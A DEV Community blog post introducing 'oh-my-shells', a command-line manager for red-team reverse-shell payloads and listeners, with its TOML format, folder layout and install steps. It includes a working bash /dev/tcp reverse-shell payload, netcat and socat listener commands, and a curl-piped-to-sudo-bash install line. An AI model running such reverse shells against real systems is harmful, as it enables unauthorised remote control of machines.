DEV Community

Cover image for Stop Googling Reverse Shells: Meet oh-my-shells
ordinary-hacker
ordinary-hacker

Posted on • Originally published at 0rd1n4ry.bearblog.dev

Stop Googling Reverse Shells: Meet oh-my-shells

Hi there! :D

This post is about a red-team tool I recently built — but first, let’s talk about the problem it solves.

Why? — The pain point

Every pentester needs payloads. Whether it’s bypassing file filters, sneaking past WAFs, or popping a shell with a quick /dev/tcp trick — payloads are the bread and butter of red teaming.

But here’s the real issue: where do you keep them?

  • Maybe you’ve got 10,000 gists bookmarked.
  • Maybe there’s a dusty payloads.txt file sitting in your notes.
  • Maybe you spam-refresh revshells.com every time you need one.

All of these work, but none of them are perfect:

  • revshells.com is handy, but its listeners don’t adapt to the payload (e.g. no UDP flags). Plus, switching between browser and terminal is clunky.
  • Payload lists like PayloadAllTheThings are massive, but unless you know exactly where to look, you waste time searching.
  • Your own notes can work — until they grow messy, unorganized, and slow you down.

At the end of the day, you spend more time digging than hacking.

So I thought: what if revshells.com existed on the CLI? Offline, structured, fast, and easy to extend.

Well… I couldn’t find it.
So I built it.

What? — Meet oh-my-shells

So what exactly is it?
oh-my-shells is basically a payload + listener manager for the terminal. Instead of digging through random notes or browser tabs, you can just use a simple CLI command and instantly get what you need.

The whole point is: search, pick, run.

Some of the main features are:

  • 📜 List - Show all payloads or filter them by OS, type, protocol, and/or language.
  • 🔍 Search — Quickly look up payloads by entering your search term and it'll try to find it on the shell name or description.
  • 📺 Show - See extra details about any shell rather than just the name and description.
  • Generate — Load a payload and get both the payload itself and the compatible listeners.
  • 🛠 Extend — Add your own payloads to the shells/ (I'll explain this later) folder and they’ll just work with the same commands.
  • 🖥 CLI workflow — No switching windows, everything happens right where you’re working.

Example

Say you want a bash reverse shell. Instead of googling it (again), just:

  1. Run oh-my-shells search bash:

Image of the command output

  1. Then run oh-my-shells generate bash_udp --lhost 10.10.10.10 --lport 8080:

Image of the command output

And that’s it — you’re ready to go.

How? - Under the hood

So how does this thing actually work?
At its core, oh-my-shells is just a big organized collection of payload definitions written in TOML.
Every payload is a little self-contained .toml file that describes:

  • ✅ The ID and human-friendly name
  • 🖥 The target OS, type (reverse/bind), protocol, and language
  • 💬 A short description
  • 💣 The actual payload string (with placeholders like {{LHOST}} and {{LPORT}})
  • 🎧 A set of compatible listeners (because not all netcats are equal)
  • 🐚 Which shells it plays nicely with

Here’s a real example:

id = "bash_196"
name = "Bash 196"
os = "unix"
type = "reverse"
proto = "tcp"
lang = "bash"
description = "Uses file descriptor 196 to open a TCP connection to the specified host and port, then redirects IO through FD 196."

payload = "exec 196<>/dev/tcp/{{LHOST}}/{{LPORT}}; {{SHELL}} <&196 >&196 2>&196"

[listeners]
nc         = "nc -lvnp {{LPORT}}"
busybox_nc = "busybox nc -lp {{LPORT}}"
socat      = "socat -d -d TCP-LISTEN:{{LPORT}} STDOUT"

[shells]
compatible = ["bash", "/bin/bash", "/usr/bin/env bash", ...]
Enter fullscreen mode Exit fullscreen mode

That’s it. The CLI just parses this TOML, fills in the placeholders, and shows you the right payload + listener. No magic, just structured data.

The file structure

To keep everything tidy (and make searching fast), payloads live in a Metasploit-style folder tree under shells/.
It’s organized by OS, type, and protocol — so you can quickly drill down to what you need:

shells/
├── unix
│   ├── reverse
│   │   ├── tcp
│   │   │   ├── bash_196.toml
│   │   │   ├── perl_pentestmonkey.toml
│   │   │   ├── python3_shortest.toml
│   │   │   └── zsh.toml
│   │   │   └── ...
│   │   └── udp
│   │       ├── bash_udp.toml
│   │   │   └── ...
│   └── bind
│       └── tcp
│           ├── nc_bind.toml
│           ├── ...
│           └── perl_bind.toml
├── windows
│   └── reverse
│       └── tcp
│           ├── powershell_1.toml
│           ├── python3_windows.toml
│           ├── ...
│           └── nc_exe_e.toml
└── all
    └── web
        ├── php_cmd.toml
        ├── ...
        └── p0wny_shell.toml
Enter fullscreen mode Exit fullscreen mode

Why TOML?

Because it's:

  • human-readable (cleaner than JSON, less indentation pain than YAML),
  • easy to parse in basically every language,
  • and simple enough that contributors with low technical knowledge can add payloads without needing to dive too deep into the internals of this tool

All you need is to drop a .toml in the right folder and boom — oh-my-shells picks it up.

Adding your own payload

Adding a new payload is ridiculously easy — no coding required. Just:

  1. Pick the right folder

    Find the folder that matches the OS, type, and protocol. For example:

    shells/unix/reverse/tcp/ or shells/windows/reverse/http/

  2. Copy an existing TOML as a template

   cp bash_196.toml my_new_payload.toml
Enter fullscreen mode Exit fullscreen mode
  1. Edit your TOML Change the id, name, description, payload, and listeners. Make sure your have the {{LHOST}} and {{LPORT}} placeholders in the payload string.
  2. List compatible shells Add any shells that your payload can safely run under:
   [shells]
   compatible = ["bash", "dash", "very-cool-stuff"]
Enter fullscreen mode Exit fullscreen mode

Note: If your payload doesn't invoke any shell, like with the -i flag for example, you can skip the shells section completely.

  1. Done! oh-my-shells automatically detects the new file. Test it with:
   oh-my-shells search new
   oh-my-shells show my_new_payload
   oh-my-shells generate my_new_payload -H 10.10.10.10 -P 4444
Enter fullscreen mode Exit fullscreen mode

That’s it — your payload is now fully integrated and ready to use.

Want to get it?

Alright, getting this tool on your system is easy. It's programmed in C and really only needs the bare-minimum of the binary and the shells folder on the same directory to work.

To install it you must at least have on your system: make (plus it's dependencies), a proper Unix environment (WSL, macOS, practically any Linux distro), and for the one-liner I'm going to show cURL though you can run the install.sh script in any way.

This install.sh I just mentioned is the recommended install method, for a cURL one-liner that runs it you can use:

curl -fsSL https://raw.githubusercontent.com/ordinary-hacker/oh-my-shells/trunk/install.sh | sudo bash
Enter fullscreen mode Exit fullscreen mode

The script will: clone the Github repository to /opt, use make to build the binary, symlink the resulting oh-my-shells binary to /usr/local/bin/oh-my-shells. And... as simple as that the tool is now installed!

Contributing & Feedback

Found a bug, have a recommendation, got a cool feature idea, or want to contribute by adding more payloads? Then you are completely free to open an issue/PR on the Github repository.

Top comments (0)